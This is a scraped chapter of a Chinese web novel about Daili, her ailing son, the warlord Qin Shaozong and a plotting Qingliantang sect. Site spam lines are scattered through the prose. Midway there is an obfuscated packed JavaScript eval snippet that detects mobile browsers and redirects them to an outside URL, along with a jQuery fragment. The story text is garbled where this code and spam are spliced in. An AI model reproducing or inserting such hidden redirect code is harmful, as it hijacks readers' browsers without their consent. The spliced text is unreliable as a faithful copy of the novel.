正房里一片寂静,角落处的香笼氤氲着淡香好像成为这幅定格的画卷里唯一的一处动态。
窗外树上有松鼠在呜呜地叫在黛黎听来,每一声仿佛都变成了一枚坠下的松果哒哒哒地砸在她心上,把她一颗心砸得直往下沉。
方才他第二回说“量不足”时她当时便心头一跳隐约有种不祥预感。
随着他最后那句“唯有主母可开”蒙在她眼前的迷雾散开,她看见了丛林深处卧着的巨虎。
虎口已大张,只待她自行送入其中。
黛黎张了张嘴想说些什么,但又觉得是徒劳。
因为她很清楚她的任何婉拒他都不会听,他只会执着的、我行我素地做自己想做的事。
一股深深的无力感将黛黎淹没。
秦邵宗原先是握着她的手臂如今大掌往前,覆在她柔软的素手上,将之包裹“夫人的决定如何?若是难以抉择想一想也无妨距离丁老先生给出的时限还有十一日。
黛黎抬眸看他,“你有给我选择的余地吗?”
看似选择,但根本没得选一如当初她说的:她不可能眼睁睁地看着州州无药可医。
青莲教也好秦邵宗也罢只要能让州州平安度过这次险关她都愿意和对方做交易。
前者居心叵测,后者也有所图只不过图的各有不同而已。
“自然有选择余地。这库房门开还是不开决定权在夫人。”秦邵宗如此说。
黛黎试图收回手却被他捏住指尖“秦长庚!”
这一声名字含了几分火气。
秦邵宗闻言松开手“我恭候夫人佳音。”
这句说完男人拿起案上的茶壶给黛黎倒了杯热茶“夫人秋季天干物燥易上火喝口茶缓缓。”
黛黎心里的那把火随着他这杯茶一路从腹腔烧到头顶。
这算什么
很多事她都可以忍不限于被他在南洋县逮到后签的一系列丧权辱国条约甚至她也可以耐着性子和秦红英接待一些本不该由她接待的人。
唯独一条忍不了。
他拿州州的救命药当条件!
今日是州州的药明日是否就是拿州州的命作要挟?
黛黎拿起案上的茶杯对着秦邵宗猛地泼了过去。
男人猝不及防手臂本能地防御性绷起青筋又硬生生克制住动作闭眼挨了这一杯水。
热茶浸湿他的鬓发和断眉顺着他的脸颊往下流到颈脖沾湿了他的衣襟。
黛黎将空了的杯子砸到秦邵宗的胸口上“秦长庚若你下次还拿州州的事来威胁我我就和你同归于尽!”
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
话毕,黛黎头也不回地出了正房。
秦邵宗抹了把脸,看着她离开的背影,轻啧了声,“那宝贝儿子真是说都说不得。”
秦府,书房。
“二兄,你寻我?”秦红英推门入书房。
书房内唯有秦邵宗一人,他见妹妹入内,下巴微抬,示意了下对面的座位,“坐。”
秦红英想到方才会客一事,以为秦邵宗寻她来问情况,遂也不等他问,直接说:“你安心好了,我没让她吃亏。顺风战,优势在我,卫五那点手段还不够看。”
说完又好奇上了,她身体往前倾,“二兄,黛黎是你从何处带回来的?我观她的模样年轻得过分,却有个那般大的儿子,且她儿子还姓秦,他与你究竟是不是……”
那个叫秦宴州的青年,明显比祈年要年长,瞧着与云策相去不远。
她二兄十七岁娶妻,在娶妻之前,曾离开过北地前往南方各州游历。难道是那时在途中认识了个红颜知己?
但也是奇怪,若是昔时红颜,黛黎何以是如此冷淡的态度?
而且秦宴州的模样和二兄完全无相似之处,哪怕是不肖母的下半张脸,也寻不出二兄的一丝丝痕迹。
看着又不大像。
“她是隐士之后。”秦邵宗对此只是说。
至于如何来的,以及秦宴州的问题,通通不答。
秦红英顿时不虞,她在外面费力为他心肝遮风挡雨,他却连丁点信息都不肯透露:“二兄,你**道。”
秦邵宗拿着虎形笔枕,“茸茸定亲否?”
大燕有律法,女子年十五以上,不嫁,五算。五算就是要多交五倍的人头税,这五倍的钱放在平民家中是一笔不小的开支,但对于高门大户,**毛雨都算不上。
贵女通常会晚些成婚,不过再晚,定亲也是会提前定的。
现年十六的施溶月还未成婚,但寻常来说,是已订了亲。
“订了,定的南羽郑家嫡子,我和她父亲都不想她嫁那般远。”秦红英颔首,这话说完,她突然惊道:“二兄你问这话是何意?”
南羽郡的望族不如渔阳多,加上两郡相距不算太远,秦邵宗回忆了下,想起来了,“南羽的郑家,是郡守郑氏对吧。”
秦红英没点头,也没摇头,而是紧张地问了第二回,“二兄,你问茸茸订亲与否是何意?快给我个准话。”
茸茸如果能嫁回秦家,嫁给她表哥,那是再好不过,以后绝对会过得相当舒坦。再说她二兄的权势,也远非一个府君能比。
先前她也不是没想过把女儿嫁回秦家,云策比茸茸大三岁,年岁正合适。
但有长兄战死一事在前,二兄在云策婚事上多有顾忌,并不
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
像寻常父母那般强势,他会听云策本人的意愿。
而云策只将茸茸当妹妹看待,没有旁的意思。
至于祈年,他和茸茸同岁,也适合。
可惜早年秦卫两家订了娃娃亲,虽说因着那个卫女的早夭,这门娃娃亲无疾而终。但卫家后来打马虎眼,企图将亲事从具体的小娘子模糊成卫女皆可。
二兄似乎不急祈年的婚事,与卫家隐隐处于僵持状态,并无动静。
两个亲外甥都行不通,秦红英也不打算看旁系了。
没必要,旁系年轻一代没能入她眼的青年才俊不谈,关系也复杂得多,把女儿嫁过去得不偿失。
但如今,怎的听着二兄像改变了主意?
“婚事定在何时?”秦邵宗问。
秦红英如实说:“明年夏。”
秦邵宗转了转玉扳指,“和郑家的婚事,退了吧。我派人出面退了,他们怪不到施家头上。”
秦红英眼瞳骤然收紧,眼中掀起滔天巨浪,“二兄,你这是想让茸茸嫁秦家?是否想让她嫁给祈年?卫家那边你打算这回一同处理了?”
她过于激动,一连问了三个问题。
秦邵宗只回答了第一个,“是要嫁入秦家。”
秦红英一颗心忽地落定了,她二兄向来不轻易许诺,言出必行。
有他这句话,茸茸的婚事落定了大半。
至于郑家,郑小郎君确实不错,但哪及得上外甥靠谱?
也亏得她和丈夫打算待她们回南羽之后,才安排茸茸和郑小郎君见一面,如今两小辈未见过面,有些事处理起来完全是长辈之间的交流。
“二兄,你怎的突然改变主意了?上回我问你,你还说不着急。”秦红英好奇道。
秦邵宗依旧没回答这个问题,只是说:“和郑家退了婚后,先不着急立马订下一门,否则于茸茸名声不好。她不一定和祈年成婚,让小辈先处处看。”
秦红英心里打了个突,疑惑一个接着一个地往外冒。
不一定是祈年,这意思是云策?云策改变主意了?
可她才带着女儿在此地住没几天吧,云策向来内敛,没理由快进到对茸茸生了情谊,转而向二兄表达娶妻之意。
还有二兄这话说得不明不白的,若非知晓他的品行,她都要以为他耍她玩儿。
秦红英一肚子的疑惑,但无论她如何问,都没能问出个所以然来。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684559|188795||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
日子转眼又过去几日。
渔阳郡这座古城热闹非凡,车水马龙不断。每日的东方既白后,仿佛有一卷无形的清明上河图缓缓铺开,书写着与昨日相似的繁华。
城中某食肆,二楼边角雅间内。
“他们停止了寻找何首乌,不妙。”谛听坐于案前
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
,手执白子,低眸看着案上的棋盘。
白象执黑子,也在看案上的棋局,“据闻秦夫人有集药的习惯,她此番来渔阳绝对是应武安侯之邀,他们缺的何首乌多半由她补上空位。但只要麝香不足,黛夫人终究会来到我们身边。”
修长的手指将一枚白子放于棋盘上,玉子碰撞发出轻响。
“武安侯最是诡计多端,就如当初白日城一战,谁能想到他既不强攻白日关,也不走船桥渡河,而是领了兵硬是走了几日荒无人烟的山路,抄道到白日城后方。”谛听摇头说道,“他们有没有得到足够的麝香,不好说。”
“明灯体内的赤胆最多还有八日,若是八日不除,他必死无疑。”白象颇为感慨地叹了口气,“发展到如今这局面,亦是我始料未及。与他相识将近十载,我是真拿他当自家兄弟看待。”
谛听面上也有复杂情绪掠过,但最终归于平静:“道不同,不相为谋。”
白象哼笑道:“同不同如今下定论还为时尚早。明灯只是选择他母亲,而非武安侯,若是黛夫人肯来,他也必回青莲教。”
谛听却再次摇头,“你若是见过黛夫人,便知武安侯无论如何也不会放她离开。”
就当白象张口欲言时,外面传来一阵匆匆的脚步声。
很快,一个小佣打扮的侍从入内。
“先生,他又出府了。这回除了秦三公子,还有一个小女郎同行。”侍从汇报道。
并无所具体名字,只用一个“他”代替,然而室内的两人都听懂了。
“行,你先下去吧。”
待小佣离开,白象以指轻点案几,“第几回了?”
谛听若有所思,“能收到消息的,至少第三回。明灯并非好动之人,如此频频出府游肆,事有蹊跷。”
白象却说:“不过也说不准,秦三公子生性活泼、玩心重,他在府中闷了将近两个月,想出府很寻常。”
“明灯对我教非比寻常的熟悉,他接二连三的出府,我忧心他在寻我们。”谛听垂眸,放下一子,“有我们给黛夫人递信在前,他必然知晓渔阳郡内有我教踪迹。”
“那你想如何?”白象随意放棋。
“叔叔曾说,凡事都要以最坏的角度揣测,方能立于不败之地。我们姑且当他们找到了足够的麝香和何首乌,也姑且当明灯寻到了我们一些踪迹……”谛听拿起一枚白子,玉棋在他指间泛着莹润的光。
白象:“那该如何?”
“赤胆受到剧烈刺激会加速狂暴期,那就投石问路吧。他和秦三公子在一起,倒是正正好,让他们一同取取暖。范小娘子近来嚷嚷得厉害,此番便派她去。”谛听笑道。
白象听懂了,霎时面色大变,“真要如此?万一没控制好,明灯必死……”
“白象,情不立事,志不同不相为友。”谛听平静抬眸。
白象噎了一下,补充道:“我、我只是担心若是他**,黛夫人受了丧子之痛,必定彻底依附于武安侯,到时她再无归顺我教的可能……”
棋局没下完,但胜负已初显。
“以明灯的警觉,这还要不了他的命。对了,我收到叔叔的传讯,南方战事已落幕,刘荆州棋高一着,让益州往后都改姓‘刘’。我今日得出发前往荆州,渔阳这边由你全权掌管。一切按我先前说的来办,莫要让叔叔和我失望。”谛听显然不打算再下这一局了。
他从座上起身,居高临下地看着白象,“自他叛变的那一刻起,明灯便不再是我们的兄弟。妇人之仁只会坏了大事,弟弟切记。”